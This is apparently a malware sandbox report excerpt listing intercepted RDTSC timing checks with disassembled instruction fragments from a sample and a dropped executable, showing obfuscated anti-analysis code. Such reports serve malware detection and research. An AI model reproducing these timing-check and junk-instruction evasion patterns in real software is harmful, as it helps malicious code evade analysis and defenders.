Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60340 second address: 4B60353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60353 second address: 4B60391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC3A8C8176Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC3A8C8176Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60391 second address: 4B60397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60397 second address: 4B603AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C81773h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603FB second address: 4B603FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603FF second address: 4B60405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60405 second address: 4B60462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, 7180h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FC3A8C83B46h 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov esi, 5CFAB99Dh 0x0000001d mov esi, 34CE5299h 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007FC3A8C83B41h 0x0000002d pop ecx 0x0000002e mov bh, C8h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60462 second address: 4B60469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60469 second address: 4B60476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60476 second address: 4B6047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6047A second address: 4B60484 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60484 second address: 4B60488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604B1 second address: 4B604C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov ecx, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 44F50556h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604C6 second address: 4B604E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C81777h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604E2 second address: 4B6050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov bh, 3Bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 3013197Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC3A8C83B44h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6050B second address: 4B6051A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6051A second address: 4B60520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60520 second address: 4B60524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60649 second address: 4B6064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6064F second address: 4B60653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60653 second address: 4B60657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60657 second address: 4B6068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b jmp 00007FC3A8C81777h 0x00000010 dec edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC3A8C81770h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6068E second address: 4B60694 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60694 second address: 4B606A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C8176Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606A5 second address: 4B606A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606A9 second address: 4B606EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b pushad 0x0000000c mov cl, dh 0x0000000e push eax 0x0000000f pushfd 0x00000010 jmp 00007FC3A8C8176Bh 0x00000015 and cx, CF5Eh 0x0000001a jmp 00007FC3A8C81779h 0x0000001f popfd 0x00000020 pop esi 0x00000021 popad 0x00000022 mov al, byte ptr [edi+01h] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606EE second address: 4B606F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606F2 second address: 4B606F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606F6 second address: 4B606FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606FC second address: 4B607C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC3A8C8176Dh 0x00000009 sbb ax, 3846h 0x0000000e jmp 00007FC3A8C81771h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 inc edi 0x00000018 jmp 00007FC3A8C8176Eh 0x0000001d test al, al 0x0000001f jmp 00007FC3A8C81770h 0x00000024 jne 00007FC418F09A9Dh 0x0000002a pushad 0x0000002b jmp 00007FC3A8C8176Dh 0x00000030 popad 0x00000031 mov ecx, edx 0x00000033 jmp 00007FC3A8C8176Eh 0x00000038 shr ecx, 02h 0x0000003b jmp 00007FC3A8C81770h 0x00000040 rep movsd 0x00000042 rep movsd 0x00000044 rep movsd 0x00000046 rep movsd 0x00000048 rep movsd 0x0000004a jmp 00007FC3A8C81770h 0x0000004f mov ecx, edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 mov ah, dh 0x00000056 pushfd 0x00000057 jmp 00007FC3A8C81776h 0x0000005c sbb ah, 00000038h 0x0000005f jmp 00007FC3A8C8176Bh 0x00000064 popfd 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607C0 second address: 4B607D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607D8 second address: 4B6083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 03h 0x0000000e jmp 00007FC3A8C81776h 0x00000013 rep movsb 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov dx, 2A10h 0x0000001c pushfd 0x0000001d jmp 00007FC3A8C81779h 0x00000022 and cl, FFFFFF96h 0x00000025 jmp 00007FC3A8C81771h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6083B second address: 4B60884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007FC3A8C83B43h 0x0000000b adc esi, 4B0261CEh 0x00000011 jmp 00007FC3A8C83B49h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60884 second address: 4B60888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60888 second address: 4B6089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6089B second address: 4B608A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B608A1 second address: 4B608A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B608A5 second address: 4B60909 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, ebx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC3A8C81774h 0x00000014 or cx, F7D8h 0x00000019 jmp 00007FC3A8C8176Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FC3A8C81776h 0x00000027 xor si, 4238h 0x0000002c jmp 00007FC3A8C8176Bh 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60909 second address: 4B60933 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b jmp 00007FC3A8C83B42h 0x00000010 mov dword ptr fs:[00000000h], ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60933 second address: 4B60939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60939 second address: 4B60948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60948 second address: 4B604B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c jmp 00007FC3A8C8176Eh 0x00000011 pop edi 0x00000012 pushad 0x00000013 call 00007FC3A8C8176Eh 0x00000018 call 00007FC3A8C81772h 0x0000001d pop eax 0x0000001e pop edx 0x0000001f pushfd 0x00000020 jmp 00007FC3A8C81770h 0x00000025 sbb esi, 7FF512E8h 0x0000002b jmp 00007FC3A8C8176Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop esi 0x00000033 jmp 00007FC3A8C81776h 0x00000038 pop ebx 0x00000039 pushad 0x0000003a mov bx, ax 0x0000003d popad 0x0000003e leave 0x0000003f jmp 00007FC3A8C81774h 0x00000044 retn 0008h 0x00000047 cmp dword ptr [ebp-2Ch], 10h 0x0000004b mov eax, dword ptr [ebp-40h] 0x0000004e jnc 00007FC3A8C81765h 0x00000050 push eax 0x00000051 lea edx, dword ptr [ebp-00000590h] 0x00000057 push edx 0x00000058 call esi 0x0000005a push 00000008h 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FC3A8C81778h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B6B second address: 4B60B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B70 second address: 4B60B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 50E332 second address: 50E338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 529684 second address: 52968A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52968A second address: 5296B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007FC3A8C83B48h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5296B4 second address: 5296BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52982C second address: 52983D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC3A8C83B3Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5299F8 second address: 529A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FC3A8C81778h 0x0000000a jmp 00007FC3A8C81775h 0x0000000f pushad 0x00000010 jmp 00007FC3A8C81772h 0x00000015 jnp 00007FC3A8C81766h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 529BA8 second address: 529BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B44h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FC3A8C83B36h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52B86A second address: 52B874 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52BBBE second address: 52BC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FC3A8C83B38h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1CFFh], esi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007FC3A8C83B38h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D36CCh], edi 0x0000004b push 573F38DDh 0x00000050 jg 00007FC3A8C83B4Dh 0x00000056 xor dword ptr [esp], 573F385Dh 0x0000005d push 00000003h 0x0000005f call 00007FC3A8C83B3Dh 0x00000064 jnp 00007FC3A8C83B3Ch 0x0000006a pop edx 0x0000006b push 00000000h 0x0000006d sub dword ptr [ebp+122D3655h], eax 0x00000073 push 00000003h 0x00000075 jmp 00007FC3A8C83B3Eh 0x0000007a push 88ECA5DBh 0x0000007f pushad 0x00000080 jmp 00007FC3A8C83B45h 0x00000085 jc 00007FC3A8C83B3Ch 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52BC92 second address: 52BCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 37135A25h 0x0000000c sub dword ptr [ebp+122D1CFAh], ecx 0x00000012 lea ebx, dword ptr [ebp+12450750h] 0x00000018 or edi, dword ptr [ebp+122D1F89h] 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52BCB5 second address: 52BCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52BCC0 second address: 52BCD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 52BCD6 second address: 52BCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B46h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54B284 second address: 54B2B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FC3A8C8177Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54B2B2 second address: 54B2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC3A8C83B36h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FC3A8C83B46h 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007FC3A8C83B36h 0x00000019 jno 00007FC3A8C83B36h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54B73E second address: 54B748 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC3A8C81766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54BD1B second address: 54BD1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54BE5D second address: 54BE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54CD77 second address: 54CD8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54F50E second address: 54F512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 54F512 second address: 54F549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FC3A8C83B50h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 5523C0 second address: 5523CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FC3A8C81766h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55698E second address: 556999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 556999 second address: 5569CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC3A8C81766h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FC3A8C8176Dh 0x0000001c jns 00007FC3A8C81768h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 50AC74 second address: 50AC7D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A4C1 second address: 55A4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A4C5 second address: 55A4E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC3A8C83B44h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A5D8 second address: 55A5EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C8176Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A5EA second address: 55A62A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC3A8C83B3Eh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FC3A8C83B46h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A62A second address: 55A62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 55A818 second address: 55A822 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC3A8C83B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 519F44 second address: 519F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 519F4C second address: 519F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	RDTSC instruction interceptor: First address: 519F54 second address: 519F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
